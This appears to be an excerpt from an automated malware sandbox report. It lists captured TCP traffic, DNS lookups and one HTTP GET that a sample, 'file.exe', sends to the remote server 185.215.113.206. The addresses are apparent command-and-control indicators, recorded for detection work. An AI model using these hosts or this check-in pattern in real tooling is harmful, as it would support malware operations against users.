Nov 28, 2024 15:17:59.217802048 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.217832088 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.217989922 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.221081018 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.221143007 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.221321106 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.221399069 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.224633932 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.224689007 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.224713087 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.224865913 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.228063107 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.228151083 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.228179932 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.228214025 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.232794046 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.232806921 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.232896090 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.235198975 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.235210896 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.235479116 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.316903114 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.316973925 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.317009926 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.317115068 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.318181038 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.318257093 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.318300962 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.318568945 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.319828033 CET	443	49888	20.75.60.91	192.168.2.6
Nov 28, 2024 15:17:59.320142984 CET	49888	443	192.168.2.6	20.75.60.91
Nov 28, 2024 15:17:59.320163012 CET	443	49888	20.75.60.91	192.168.2.6
Nov 28, 2024 15:17:59.320543051 CET	443	49888	20.75.60.91	192.168.2.6
Nov 28, 2024 15:17:59.320740938 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.321073055 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.321073055 CET	49888	443	192.168.2.6	20.75.60.91
Nov 28, 2024 15:17:59.321156025 CET	443	49888	20.75.60.91	192.168.2.6
Nov 28, 2024 15:17:59.321305037 CET	49888	443	192.168.2.6	20.75.60.91
Nov 28, 2024 15:17:59.321780920 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.321841955 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.321847916 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.321911097 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.324290991 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.324377060 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.324414968 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.324486017 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.327004910 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.327050924 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.327076912 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.327258110 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.329336882 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.329422951 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.329432964 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.329581976 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.331743956 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.331835985 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.332000017 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.332087040 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.334311008 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.334328890 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.334474087 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.336540937 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.336642981 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.336668015 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.336695910 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.338872910 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.339073896 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.339099884 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.339227915 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.341229916 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.341268063 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.341290951 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.341387987 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.343524933 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.343544960 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.343570948 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.343719006 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.345813990 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.345882893 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.345904112 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.346095085 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.347997904 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.348043919 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.348155975 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.350261927 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.350353956 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.350395918 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.350490093 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.352411032 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.352499962 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.352560997 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.352684975 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.354809046 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.355025053 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.355029106 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.355166912 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.356838942 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.356987953 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.357013941 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.357109070 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.358957052 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.359072924 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.359164953 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.359253883 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.361169100 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.361280918 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.361304998 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.361404896 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.363239050 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.363359928 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.363384962 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.363462925 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.365382910 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.365472078 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.365493059 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.365576029 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.367324114 CET	443	49888	20.75.60.91	192.168.2.6
Nov 28, 2024 15:17:59.367491007 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.367588997 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.367629051 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.367712975 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.369616985 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.369757891 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.369908094 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.371793985 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.371895075 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.371918917 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.372031927 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.373886108 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.373960972 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.373986006 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.374176979 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.376013994 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.376135111 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.376293898 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.378185987 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.378199100 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.378531933 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.380316973 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.380424976 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.380568981 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.382392883 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.382498026 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.382602930 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.384531975 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.384622097 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.385071993 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.386656046 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.386802912 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.386831045 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.388819933 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.388834000 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.388927937 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.388927937 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.390945911 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.390996933 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.391031027 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.393048048 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.393069983 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.393088102 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.393583059 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.395169973 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.395243883 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.395266056 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.395409107 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.397315979 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.397367001 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.397383928 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.397564888 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.399439096 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.399549007 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.399571896 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.399683952 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.401598930 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.401674986 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.401695967 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.401814938 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.403700113 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.403755903 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.403776884 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.403981924 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.405772924 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.405833960 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.405929089 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.406229019 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.407963991 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.408014059 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:59.408035040 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:59.408231974 CET	49887	80	192.168.2.6	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 28, 2024 15:17:20.383059025 CET	192.168.2.6	1.1.1.1	0xa9f3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:20.383208990 CET	192.168.2.6	1.1.1.1	0x5b63	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 28, 2024 15:17:26.330107927 CET	192.168.2.6	1.1.1.1	0x9d76	Standard query (0)	tse1.mm.bing.net	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:32.753381968 CET	192.168.2.6	1.1.1.1	0xc59e	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:32.753679991 CET	192.168.2.6	1.1.1.1	0xc1ac	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 28, 2024 15:17:34.964003086 CET	192.168.2.6	1.1.1.1	0xa8a6	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:34.964266062 CET	192.168.2.6	1.1.1.1	0x3e29	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 28, 2024 15:17:35.982224941 CET	192.168.2.6	1.1.1.1	0x684d	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:35.982649088 CET	192.168.2.6	1.1.1.1	0x77d7	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 28, 2024 15:17:37.099868059 CET	192.168.2.6	1.1.1.1	0xa577	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:37.100172997 CET	192.168.2.6	1.1.1.1	0xa0c9	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 28, 2024 15:17:37.101639032 CET	192.168.2.6	1.1.1.1	0x872c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:37.101998091 CET	192.168.2.6	1.1.1.1	0x67fe	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 28, 2024 15:17:37.118077993 CET	192.168.2.6	1.1.1.1	0x6950	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:37.118710995 CET	192.168.2.6	1.1.1.1	0xc3ce	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 28, 2024 15:17:37.991563082 CET	192.168.2.6	1.1.1.1	0xbe3a	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:37.991832018 CET	192.168.2.6	1.1.1.1	0x6c8c	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 28, 2024 15:17:38.070993900 CET	192.168.2.6	1.1.1.1	0xbb46	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:38.071213961 CET	192.168.2.6	1.1.1.1	0x116a	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 28, 2024 15:17:38.134926081 CET	192.168.2.6	1.1.1.1	0x6ff5	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:38.135061979 CET	192.168.2.6	1.1.1.1	0x4ddb	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 28, 2024 15:17:38.274961948 CET	192.168.2.6	1.1.1.1	0x782c	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:38.275079012 CET	192.168.2.6	1.1.1.1	0xc6a5	Standard query (0)	api.msn.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 28, 2024 15:17:20.521734953 CET	1.1.1.1	192.168.2.6	0xa9f3	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:20.522442102 CET	1.1.1.1	192.168.2.6	0x5b63	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 28, 2024 15:17:26.672343016 CET	1.1.1.1	192.168.2.6	0x9d76	No error (0)	tse1.mm.bing.net	mm-mm.bing.net.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 15:17:26.672343016 CET	1.1.1.1	192.168.2.6	0x9d76	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:26.672343016 CET	1.1.1.1	192.168.2.6	0x9d76	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:32.892091990 CET	1.1.1.1	192.168.2.6	0xc1ac	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 15:17:32.896826982 CET	1.1.1.1	192.168.2.6	0xc59e	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 15:17:33.306747913 CET	1.1.1.1	192.168.2.6	0xd8e	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 15:17:33.306747913 CET	1.1.1.1	192.168.2.6	0xd8e	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:33.462116957 CET	1.1.1.1	192.168.2.6	0xd081	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 15:17:35.101583004 CET	1.1.1.1	192.168.2.6	0x3e29	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 15:17:35.103722095 CET	1.1.1.1	192.168.2.6	0xa8a6	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 15:17:36.119874001 CET	1.1.1.1	192.168.2.6	0x684d	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 15:17:36.119874001 CET	1.1.1.1	192.168.2.6	0x684d	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:36.122258902 CET	1.1.1.1	192.168.2.6	0x77d7	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 15:17:37.237909079 CET	1.1.1.1	192.168.2.6	0xa577	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:37.237909079 CET	1.1.1.1	192.168.2.6	0xa577	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:37.237951040 CET	1.1.1.1	192.168.2.6	0xa0c9	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 28, 2024 15:17:37.239734888 CET	1.1.1.1	192.168.2.6	0x872c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:37.239734888 CET	1.1.1.1	192.168.2.6	0x872c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:37.240341902 CET	1.1.1.1	192.168.2.6	0x67fe	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 28, 2024 15:17:37.256304026 CET	1.1.1.1	192.168.2.6	0x6950	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:37.256304026 CET	1.1.1.1	192.168.2.6	0x6950	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:37.256778002 CET	1.1.1.1	192.168.2.6	0xc3ce	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 28, 2024 15:17:38.132674932 CET	1.1.1.1	192.168.2.6	0xbe3a	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:38.132674932 CET	1.1.1.1	192.168.2.6	0xbe3a	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:38.132674932 CET	1.1.1.1	192.168.2.6	0xbe3a	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:38.132674932 CET	1.1.1.1	192.168.2.6	0xbe3a	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:17:38.208481073 CET	1.1.1.1	192.168.2.6	0x116a	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 15:17:38.208969116 CET	1.1.1.1	192.168.2.6	0xbb46	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 15:17:38.272866011 CET	1.1.1.1	192.168.2.6	0x6ff5	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 15:17:38.359338999 CET	1.1.1.1	192.168.2.6	0x4ddb	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 15:17:38.412380934 CET	1.1.1.1	192.168.2.6	0xc6a5	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 15:17:38.413495064 CET	1.1.1.1	192.168.2.6	0x782c	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 15:18:34.647336006 CET	1.1.1.1	192.168.2.6	0x95a5	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:18:34.647336006 CET	1.1.1.1	192.168.2.6	0x95a5	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:18:35.540707111 CET	1.1.1.1	192.168.2.6	0x95a5	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:18:35.540707111 CET	1.1.1.1	192.168.2.6	0x95a5	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:18:36.559973955 CET	1.1.1.1	192.168.2.6	0x95a5	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:18:36.559973955 CET	1.1.1.1	192.168.2.6	0x95a5	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:18:38.545953989 CET	1.1.1.1	192.168.2.6	0x95a5	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:18:38.545953989 CET	1.1.1.1	192.168.2.6	0x95a5	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:18:42.554961920 CET	1.1.1.1	192.168.2.6	0x95a5	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 28, 2024 15:18:42.554961920 CET	1.1.1.1	192.168.2.6	0x95a5	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49712	185.215.113.206	80	5684	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 15:17:10.266897917 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 15:17:11.654465914 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
